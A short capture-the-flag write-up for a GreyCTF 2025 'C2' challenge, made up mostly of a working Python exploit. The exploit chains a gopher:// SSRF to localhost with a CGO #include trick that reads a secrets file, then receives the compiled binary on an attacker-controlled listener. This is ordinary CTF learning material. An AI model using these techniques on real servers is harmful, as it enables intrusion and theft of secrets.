A deep dive into a Go c2 exploitation
Published at 6/3/2025, 1:15:00 PM
Minimal writeup due to lack of time, but the solution is worth remembering. This challenge was solved after the competition thanks to @Jro's writeup, the author of this challenge.
c2C.py:
#!/usr/bin/env python3
"""
GreyCTF 2025 – C2
Exfiltrates the flag using the “CGO #define + #include” trick.
Idea recap
----------
* We can make the C2 server (running as the *admin* on 127.0.0.1)
compile **our** Go source via the SSRF in POST /agent/{id}/execute.
* In CGO, a `/* … */ import "C"` block is treated as C code.
* With a few `#define`s we can turn /app/secrets/flag.go itself
into valid C code, then print the `Flag` symbol.
Result: the compiled binary already contains the flag string, so we
just run it locally after the server uploads it to PUT /exec.
"""
import argparse, http.server, os, subprocess, threading, time, urllib.parse, requests
##############################################################################
# HTTP listener – saves binary delivered by the challenge (PUT /exec)
##############################################################################
class BinReceiver(http.server.BaseHTTPRequestHandler):
done = threading.Event()
def do_PUT(self):
ln = int(self.headers.get("Content-Length", 0))
with open("exec", "wb") as f:
f.write(self.rfile.read(ln))
os.chmod("exec", 0o755)
print("[+] PUT /exec received – binary saved ✔")
self.send_response(204); self.end_headers()
BinReceiver.done.set()
def log_message(self, *_): pass
def start_listener(port: int):
httpd = http.server.HTTPServer(("0.0.0.0", port), BinReceiver)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
print(f"[+] Listener up on 0.0.0.0:{port}")
return httpd
##############################################################################
def register(c2: str, payload: dict) -> str:
"""POST /register – returns agent UUID (or raises)."""
r = requests.post(f"{c2.rstrip('/')}/register", json=payload, timeout=15)
r.raise_for_status()
return r.text.strip()
##############################################################################
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--c2", required=True, help="challenge base URL")
ap.add_argument("--attacker", required=True, help="public host (no scheme)")
ap.add_argument("--port", type=int, default=80)
args = ap.parse_args()
public_host = args.attacker.lstrip("http://").lstrip("https://")
start_listener(args.port)
# 1. register a dummy agent – obtain UUID
uuid = register(args.c2, {"agentUrl": f"http://{public_host}:{args.port}",
"computerName": "star-lord"})
print(f"[+] Agent UUID: {uuid}")
# 2. craft Go + CGO payload that prints the flag
go_src = r'''package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag(){ puts(Flag); }
*/
import "C"
func main(){ C.printflag() }
'''
body = go_src.encode()
# raw HTTP request that the gopher:// URL will replay to 127.0.0.1:8080
raw = (f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Content-Type: text/plain\r\n"
f"Content-Length: {len(body)}\r\n\r\n").encode() + body
gopher = "gopher://localhost:8080/_" + urllib.parse.quote_from_bytes(raw, safe="")
print("[*] SSRF payload crafted (gopher length:", len(gopher), ")")
# 3. trigger SSRF – 400 Bad Request is OK (curl exits non-zero)
try:
register(args.c2, {"agentUrl": gopher, "computerName": "star-lord"})
except requests.exceptions.HTTPError:
print("[*] SSRF sent (curl on server expected to fail)")
# 4. wait up to 60 s for the binary
if not BinReceiver.done.wait(60):
print("[!] Gave up – server never uploaded binary")
return
# 5. run the binary locally → prints the flag!
print("[*] Scanning ./exec for flag …")
with open("exec", "rb") as f:
blob = f.read()
import re
m = re.search(rb"grey\{[^}]+\}", blob)
if not m:
print("[!] Flag pattern not found")
return
flag = m.group().decode()
print("\n:tada: FLAG:", flag, "\n")
if __name__ == "__main__":
main()
I used ngrok in order to act as a c2 middle man:
Cookies